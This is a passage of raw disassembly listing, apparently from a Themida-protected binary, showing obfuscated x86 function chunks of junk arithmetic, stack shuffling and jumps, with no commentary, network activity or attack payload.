loc_572E93:				; CODE XREF: sub_563FA2+1140Fj
		add	dword ptr [esp+0], 4
		pop	esi
		add	esi, 4
		sub	esp, 4
		jmp	loc_5613C9
; END OF FUNCTION CHUNK	FOR sub_563FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_572EA6:				; CODE XREF: sub_56CC46-FFj
		shl	edx, 6
		shl	edx, 1
		xor	edx, 4FB24684h
		add	ebx, edx
		jmp	loc_565620
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5666C3


loc_572EB8:				; CODE XREF: sub_5666C3+140j
		xor	ebp, 0A333814Bh
		mov	edx, ebp
		pop	ebp
		jmp	loc_5752B1
; END OF FUNCTION CHUNK	FOR sub_5666C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56351E


loc_572EC6:				; CODE XREF: sub_56351E+6BA1j
		add	edi, 4
		jmp	loc_5742B1
; END OF FUNCTION CHUNK	FOR sub_56351E
; ---------------------------------------------------------------------------


loc_572ED1:				; CODE XREF: Themida_:00564E6Dj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5625C1

; =============== S U B	R O U T	I N E =======================================



sub_572EDC	proc near		; DATA XREF: Themida_:0055FE68o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056037F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056C24D SIZE 00000019 BYTES

		push	dword ptr [esp+0]
		jmp	loc_56C24D
sub_572EDC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_572EE4:				; CODE XREF: sub_561541+A95Fj
		add	esp, 4
		mov	ecx, edx
		pop	edx
		push	edx
		push	ebp
		mov	ebp, 0
		jmp	loc_56018C
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569B75


loc_572EF9:				; CODE XREF: sub_569B75+1B0Bj
		mov	esi, [esp+0]
		add	esp, 4
		jmp	loc_56054F
; END OF FUNCTION CHUNK	FOR sub_569B75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_572F04:				; CODE XREF: sub_57354D-1660j
		sub	[esp+4+var_4], 7BAE44F2h
		push	[esp+4+var_4]
		pop	ecx
		add	esp, 4
		jmp	loc_560E6D
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_572F17:				; CODE XREF: sub_574304-910Aj
		add	esp, 4
		push	ebp
		push	esp
		jmp	loc_566AB0
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_572F21:				; CODE XREF: sub_569A84+2301j
		add	esp, 4
		sub	edi, 240F2AC2h
		add	edi, ebp
		push	edx
		mov	edx, 240F2AC2h
		add	edi, edx
		pop	edx
		push	[esp+8+var_8]
		pop	ebp
		jmp	loc_57336F
; END OF FUNCTION CHUNK	FOR sub_569A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562954


loc_572F41:				; CODE XREF: sub_562954+681Aj
		sub	ebp, 636235EDh
		add	ebp, edx
		jmp	sub_560D31
; END OF FUNCTION CHUNK	FOR sub_562954
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564EBE


loc_572F4E:				; CODE XREF: sub_564EBE-2754j
		and	esi, 15B779F0h
		sub	esi, 1027080Ch
		add	edi, esi
		mov	esi, [esp+8+var_8]
		add	esp, 4
		xchg	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_568575
; END OF FUNCTION CHUNK	FOR sub_564EBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_572F6D:				; CODE XREF: sub_570CE4-910Ej
		push	ecx
		jmp	loc_57391E
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_572F73:				; CODE XREF: sub_56DA43+2D3j
		add	ebp, 0C5ECB269h
		sub	ecx, ebp
		pop	ebp
		pop	ebp
		add	ecx, 7E745EFCh
		jmp	loc_560024
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_572F88:				; CODE XREF: sub_5738F4+1j
		mov	ebx, 45182683h
		dec	ebx
		dec	ebx
		sub	ebx, 358B3C74h
		sub	ebx, 49FC68F7h
		add	ebx, 0B6889677h
		or	eax, ebx
		jmp	loc_57067D
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B577


loc_572FA8:				; CODE XREF: sub_56B577+1Dj
		push	esi
		jmp	loc_570288
; END OF FUNCTION CHUNK	FOR sub_56B577
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561B55


loc_572FAE:				; CODE XREF: sub_561B55+360j
		and	edi, 25FF5C42h
		or	edi, 3BDF0801h
		push	ebx
		mov	ebx, 1F72265Fh
		inc	ebx
		sub	ebx, 0DF731A21h
		sub	edi, ebx
		pop	ebx
		add	esi, edi
		mov	edi, [esp+0]
		add	esp, 4
		xor	esi, [esp-4+arg_0]
		xor	[esp-4+arg_0], esi
		xor	esi, [esp-4+arg_0]
		pop	esp
		sub	[esp-8+arg_4], eax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_561B55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E5BB


loc_572FE8:				; CODE XREF: sub_56E5BB-D3A9j
		add	edx, ecx
		add	edx, 1EFD099Bh
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		push	edx
		jmp	loc_5689D9
; END OF FUNCTION CHUNK	FOR sub_56E5BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573612


loc_572FFF:				; CODE XREF: sub_573612+14B8j
		push	350E0E94h
		pop	esi
		xor	esi, 67983911h
		mov	edi, esi
		pop	esi
		jmp	loc_563112
; END OF FUNCTION CHUNK	FOR sub_573612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BC97


loc_573013:				; CODE XREF: sub_56BC97-607Aj
		xor	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_57170B
; END OF FUNCTION CHUNK	FOR sub_56BC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C83E


loc_57301E:				; CODE XREF: sub_56C83E+3096j
		mov	edi, 757B74C4h
		xor	[esp+8+var_4], edi
		pop	edi
		push	[esp+4+var_4]
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, 422736BEh
		or	edx, 51CD02EAh
		xor	edx, 55F16EE9h
		push	edi
		push	ebx
		mov	ebx, 1556429Fh
		neg	ebx
		push	edx
		mov	edx, 2A680802h
		jmp	loc_56E9F6
; END OF FUNCTION CHUNK	FOR sub_56C83E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DAB2


loc_573055:				; CODE XREF: sub_56DAB2-9A4Dj
		mov	edx, 3E0F59A5h
		push	ecx
		mov	ecx, 10E219E5h
		or	edx, ecx
		pop	ecx
		add	edx, 0FC01E915h
		add	eax, 7A021AFCh
		push	esi
		mov	esi, 42A649D4h
		sub	eax, esi
		pop	esi
		sub	eax, edx
		add	eax, 42A649D4h
		sub	eax, 7A021AFCh
		mov	edx, [esp+8+var_8]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		mov	edi, [esp+8+var_8]
		add	esp, 4
		jmp	sub_56356E
; END OF FUNCTION CHUNK	FOR sub_56DAB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57117B


loc_5730A7:				; CODE XREF: sub_57117B+Dj
		pop	ebx
		mov	cx, [esp+0]
		add	esp, 2
		push	small 68FDh
		mov	[esp+0], cx
		mov	cl, 3Ah
		sub	al, cl
		pop	cx
		push	3D28h
		mov	[esp+0], edx
		push	eax
		push	3C72h
		mov	[esp+8+var_8], ebx
		push	ecx
		mov	cl, 8Ah
		neg	cl
		dec	cl
		jmp	loc_571ABE
; END OF FUNCTION CHUNK	FOR sub_57117B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_5730DA:				; CODE XREF: sub_57523A-E811j
		pop	ecx
		add	edi, 0B7F2A3Bh
		add	edi, edx
		jmp	loc_5659E2
; END OF FUNCTION CHUNK	FOR sub_57523A
; ---------------------------------------------------------------------------


loc_5730E8:				; CODE XREF: Themida_:0056D5A0j
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		push	edx
		push	ebp
		push	esi
		mov	esi, 4
		mov	ebp, esi
		jmp	loc_5640EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_5730FD:				; CODE XREF: sub_57549C-13139j
		add	ebp, 0EA12034Dh
		add	eax, 7895591Ch
		sub	eax, ebp
		sub	eax, 7895591Ch
		pop	ebp
		sub	eax, ebp
		push	ebp
		mov	ebp, 29D72F67h
		shl	ebp, 5
		xor	ebp, 7C55563h
		inc	ebp
		shr	ebp, 6
		add	ebp, 1C1BDCE8h
		add	eax, ebp
		jmp	loc_568E12
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568D93


loc_573132:				; CODE XREF: sub_568D93-4179j
		mov	[esp-4+arg_0], esi
		push	ebx
		jmp	loc_56F076
; END OF FUNCTION CHUNK	FOR sub_568D93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_57313B:				; CODE XREF: sub_57549C-4C01j
		mov	ebp, 2D8A0639h
		shl	ebp, 6
		inc	ebp
		sub	ebp, 5B745DE1h
		push	esi
		jmp	loc_56FAD1
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_573150:				; CODE XREF: sub_571088+3B3Dj
		mov	esi, esp
		push	edx
		jmp	loc_56EE69
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------


loc_573158:				; CODE XREF: Themida_:00570BE7j
		mov	esp, [esp]
		jmp	loc_5672E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570621


loc_573160:				; CODE XREF: sub_570621-B8BBj
		sub	ebp, ebx
		jmp	loc_56244E
; END OF FUNCTION CHUNK	FOR sub_570621

; =============== S U B	R O U T	I N E =======================================



sub_573167	proc near		; CODE XREF: sub_56E0B0+2FD3j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00565228 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005652B5 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00565358 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00565DA0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056895D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00568F59 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056901B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056DFAA SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005735F9 SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		push	edx
		jmp	loc_56895D
sub_573167	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_57317E:				; CODE XREF: sub_56B1DC-47A7j
		add	[esp+8+var_8], 4
		pop	eax
		jmp	loc_5682A8
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56671D


loc_57318B:				; CODE XREF: sub_56671D+383Bj
		add	al, 3Ah
		push	3949h
		mov	[esp+4+var_4], ecx
		jmp	loc_574839
; END OF FUNCTION CHUNK	FOR sub_56671D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56ABD0


loc_57319A:				; CODE XREF: sub_56ABD0+81AEj
		add	edx, ebx
		push	esi
		mov	esi, 7D53D85h
		push	esi
		not	[esp+4+var_4]
		pop	esi
		not	esi
		xor	esi, 28B3415Fh
		sub	esi, 36C95550h
		sub	esi, 0CE50D3E6h
		sub	edx, esi
		mov	esi, [esp+0]
		add	esp, 4
		pop	ebx
		sub	edx, eax
		sub	esp, 4
		mov	[esp+0], esi
		jmp	loc_572E00
; END OF FUNCTION CHUNK	FOR sub_56ABD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C7AA


loc_5731D7:				; CODE XREF: sub_56C7AA-20E4j
		sub	ebx, esi
		mov	esi, ebx
		pop	ebx
		push	ebx
		jmp	loc_565F37
; END OF FUNCTION CHUNK	FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_5731E2:				; CODE XREF: sub_56B1DC+8478j
		shr	esi, 5
		push	2D52h
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_56F143
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_5731F2:				; CODE XREF: sub_561027+1j
		pop	eax
		pop	ebx
		jmp	loc_573909
; END OF FUNCTION CHUNK	FOR sub_561027

; =============== S U B	R O U T	I N E =======================================



sub_5731F9	proc near		; CODE XREF: sub_572641-DC33j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00562A4A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00574E8E SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	cl, 47h
		xor	cl, 46h
		sub	bl, 0E2h
		add	bl, cl
		jmp	loc_562A4A
sub_5731F9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E96D


loc_573211:				; CODE XREF: sub_56E96D-47F7j
		add	ebp, 4
		jmp	loc_570C89
; END OF FUNCTION CHUNK	FOR sub_56E96D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567B29


loc_57321C:				; CODE XREF: sub_567B29+BBB4j
		mov	[esp+8+var_8], eax
		mov	eax, 0
		push	ecx
		mov	ecx, 38FA1772h
		or	ecx, 481D3BA9h
		xchg	edi, ecx
		dec	edi
		xchg	edi, ecx
		add	ecx, 0ADFACBABh
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		add	eax, 26FA0BA5h
		mov	ecx, [eax]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		jmp	loc_567D42
; END OF FUNCTION CHUNK	FOR sub_567B29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_573252:				; CODE XREF: sub_567D31+DEFj
		sub	dword ptr [esp+0], 48C03077h
		push	dword ptr [esp+0]
		pop	esi
		add	esp, 4
		jmp	loc_56567A
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------


loc_573265:				; CODE XREF: Themida_:00563C29j
		add	ecx, 20F30807h
		jmp	loc_564480
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_573270:				; CODE XREF: sub_561027+10B39j
		xor	esi, 0B5081C55h
		xor	edi, esi
		jmp	loc_574CE8
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------


loc_57327D:				; CODE XREF: Themida_:00564551j
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 4
		sub	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_568737
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D7


loc_5732AC:				; CODE XREF: sub_5747D7-12725j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 525529EBh
		not	edi
		neg	edi
		shr	edi, 1
		xor	edi, 292A94F2h
		sub	eax, edi
		pop	edi
		jmp	loc_56124A
; END OF FUNCTION CHUNK	FOR sub_5747D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_5732CE:				; CODE XREF: sub_570732-A0A8j
		add	esp, 4
		sub	[esp+14h+var_10], 2E2D13C5h
		sub	[esp+14h+var_10], ebp
		add	[esp+14h+var_10], 2E2D13C5h
		push	[esp+14h+var_14]
		jmp	loc_56C9E4
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5745B5


loc_5732ED:				; CODE XREF: sub_5745B5-4625j
		push	ecx
		mov	ch, 0E3h
		add	ch, 8Dh
		xor	dh, ch
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		shr	dh, 1
		sub	dh, 0B7h
		sub	al, 17h
		jmp	loc_565472
; END OF FUNCTION CHUNK	FOR sub_5745B5
; ---------------------------------------------------------------------------


loc_573307:				; CODE XREF: Themida_:0056D7E7j
		push	ecx
		push	4B43127Bh
		pop	ecx
		add	ecx, 1B9967B2h
		mov	ebx, ecx
		pop	ecx
		mov	esi, ebx
		jmp	loc_56312C
; ---------------------------------------------------------------------------


loc_57331E:				; CODE XREF: Themida_:0056FF0Fj
		sub	ebx, 8DC897C7h
		add	ebp, ebx
		pop	ebx
		push	esi
		jmp	loc_5716AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D359


loc_57332D:				; CODE XREF: sub_56D359+2912j
		pop	esi
		add	esp, 4
		push	ebp
		jmp	loc_5646CE
; END OF FUNCTION CHUNK	FOR sub_56D359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_573337:				; CODE XREF: sub_57354D-5D57j
		mov	[esp+4+var_4], esi
		not	[esp+4+var_4]
		jmp	loc_561E82
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_573342:				; CODE XREF: sub_5690E8+12ABj
		neg	ebx
		jmp	loc_565E7D
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564020


loc_573349:				; CODE XREF: sub_564020+3DE7j
		sub	ebx, edx
		add	ebx, 59B77967h
		sub	ebx, 2E3322D5h
		push	edx
		mov	edx, 0C3D0404h
		not	edx
		jmp	loc_571AE7
; END OF FUNCTION CHUNK	FOR sub_564020
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_573364:				; CODE XREF: sub_5687A3+A558j
		mov	[esp+4+var_4], ecx
		sub	esp, 4
		jmp	loc_568B5A
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_57336F:				; CODE XREF: sub_569A84+94B8j
		add	esp, 4
		push	36E3h
		mov	[esp+8+var_8], ecx
		mov	ecx, 2
		add	edi, ecx
		pop	ecx
		push	edi
		push	[esp+8+var_4]
		pop	edi
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	cx, [esp-4+arg_0]
		push	ebx
		jmp	loc_570CDE
; END OF FUNCTION CHUNK	FOR sub_569A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_57339B:				; CODE XREF: sub_572DD7-532j
		xor	[esp+0], edi
		xor	edi, [esp+0]
		mov	esp, [esp+0]
		sub	esp, 4
		jmp	loc_56F456
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_5733AF:				; CODE XREF: sub_571C93-B72Dj
		pop	ebx
		sub	edi, 798212D4h
		add	edi, ecx
		add	edi, 798212D4h
		pop	ecx
		push	esi
		mov	esi, 6A056D72h
		jmp	loc_565CB0
; END OF FUNCTION CHUNK	FOR sub_571C93

; =============== S U B	R O U T	I N E =======================================



sub_5733CA	proc near		; CODE XREF: sub_56DD54+3027j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00560B9A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00562368 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00562854 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00566911 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566FC6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00569F5D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056C540 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056D1D5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570925 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00570E92 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573763 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00574D14 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, 416E25F6h
		not	ebp
		sub	ebp, 23E51265h
		dec	ebp
		jmp	loc_574D14
sub_5733CA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_5733DE:				; CODE XREF: sub_5738F4-3266j
		mov	esi, 3EDD43F8h
		jmp	loc_564D17
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_5733E8:				; CODE XREF: sub_574949-13DDFj
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		xor	bl, al
		movzx	eax, al
		jmp	loc_570394
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DFE


loc_57340C:				; CODE XREF: sub_566DFE+5E8Aj
		mov	edi, [esp+0]
		jmp	loc_561E2F
; END OF FUNCTION CHUNK	FOR sub_566DFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_573414:				; CODE XREF: sub_574656-BF24j
		mov	ebx, 2C265B02h
		sub	[esp+10h+var_C], ebx
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5676E2
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_573428:				; CODE XREF: sub_569DB5+6A9Bj
		add	esi, 1
		jmp	loc_5698A4
; END OF FUNCTION CHUNK	FOR sub_569DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565AFE


loc_573430:				; CODE XREF: sub_565AFE-1AECj
		pop	ecx
		add	edx, 2
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_563B56
; END OF FUNCTION CHUNK	FOR sub_565AFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_573441:				; CODE XREF: sub_572641-2059j
		sub	bh, 0A0h
		pop	ecx
		jmp	loc_572746
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA44


loc_57344A:				; CODE XREF: sub_56FA44-64C2j
		add	ecx, esi
		push	esi
		mov	esi, 48730547h
		sub	ecx, esi
		jmp	loc_572D3F
; END OF FUNCTION CHUNK	FOR sub_56FA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5681F5


loc_573459:				; CODE XREF: sub_5681F5-81F3j
		and	eax, 1BB05FCAh
		shl	eax, 6
		dec	eax
		dec	eax
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		jmp	loc_56B761
; END OF FUNCTION CHUNK	FOR sub_5681F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C553


loc_57346C:				; CODE XREF: sub_56C553+9j
		push	esi
		mov	esi, 2000000h
		push	544Fh
		jmp	loc_56134D
; END OF FUNCTION CHUNK	FOR sub_56C553
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_57347C:				; CODE XREF: sub_56616D+AE99j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		pop	esp
		jmp	loc_574315
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_573491:				; CODE XREF: sub_563A7F+1124Aj
		mov	al, bl
		mov	dh, al
		pop	eax
		mov	bl, cl
		mov	cl, dh
		jmp	loc_56C682
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------


loc_57349F:				; CODE XREF: Themida_:0056979Dj
		add	esp, 4
		jmp	loc_5673C9

; =============== S U B	R O U T	I N E =======================================



sub_5734A7	proc near		; DATA XREF: Themida_:0055FE20o

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560B84 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005616BD SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00563C03 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565554 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056676E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00566BB0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00568FDE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056B1FF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056B7CD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056BB11 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056C1CE SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056C5A6 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056F10C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056F816 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571B8F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00572E0B SIZE 0000000B BYTES

		lodsd
		push	edi
		push	21581D42h
		jmp	loc_560B84
sub_5734A7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_5734B3:				; CODE XREF: sub_574304-ECAFj
		pop	esi
		jmp	loc_5675EF
; ---------------------------------------------------------------------------


loc_5734B9:				; CODE XREF: sub_574304-6151j
		sub	edi, eax
		pop	eax
		jmp	loc_570B84
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_5734C1:				; CODE XREF: sub_56651E-1D8Fj
		pop	esp
		mov	[esp+0], ebx
		mov	ebx, 40000h
		push	ebx
		push	edx
		mov	edx, 59673A05h
		sub	[esp+8+var_4], 6EF6571Ch
		sub	[esp+8+var_4], edx
		add	[esp+8+var_4], 6EF6571Ch
		mov	edx, [esp+8+var_8]
		add	esp, 4
		pop	edx
		push	ebp
		mov	ebp, 31ED214Ah
		dec	ebp
		jmp	loc_567636
; END OF FUNCTION CHUNK	FOR sub_56651E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_5734FB:				; CODE XREF: sub_563819+560Fj
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		xor	esi, [esp-0Ch+arg_8]
		jmp	loc_5639CA
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------


loc_573509:				; DATA XREF: Themida_:0055FCC0o
		mov	cx, [esp]
		push	edx
		jmp	loc_571437
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571289


loc_573513:				; CODE XREF: sub_571289-6ECBj
		xor	esi, 0FA27507Bh
		push	edx
		mov	edx, esi
		push	edx
		pop	ecx
		pop	edx
		mov	esi, [esp+4+var_4]
		add	esp, 4
		sub	eax, ecx
		jmp	loc_572462
; END OF FUNCTION CHUNK	FOR sub_571289
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_57352C:				; CODE XREF: sub_568E5C+46C2j
		push	528043FBh
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		neg	edx
		push	ebx
		mov	ebx, 117B6B85h
		xor	ebx, 6D0A1B19h
		jmp	loc_566D54
; END OF FUNCTION CHUNK	FOR sub_568E5C

; =============== S U B	R O U T	I N E =======================================



sub_57354D	proc near		; CODE XREF: sub_569193+BE87j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056047D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00560703 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560B6F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00560E6D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00560F4A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00561300 SIZE 00000016 BYTES
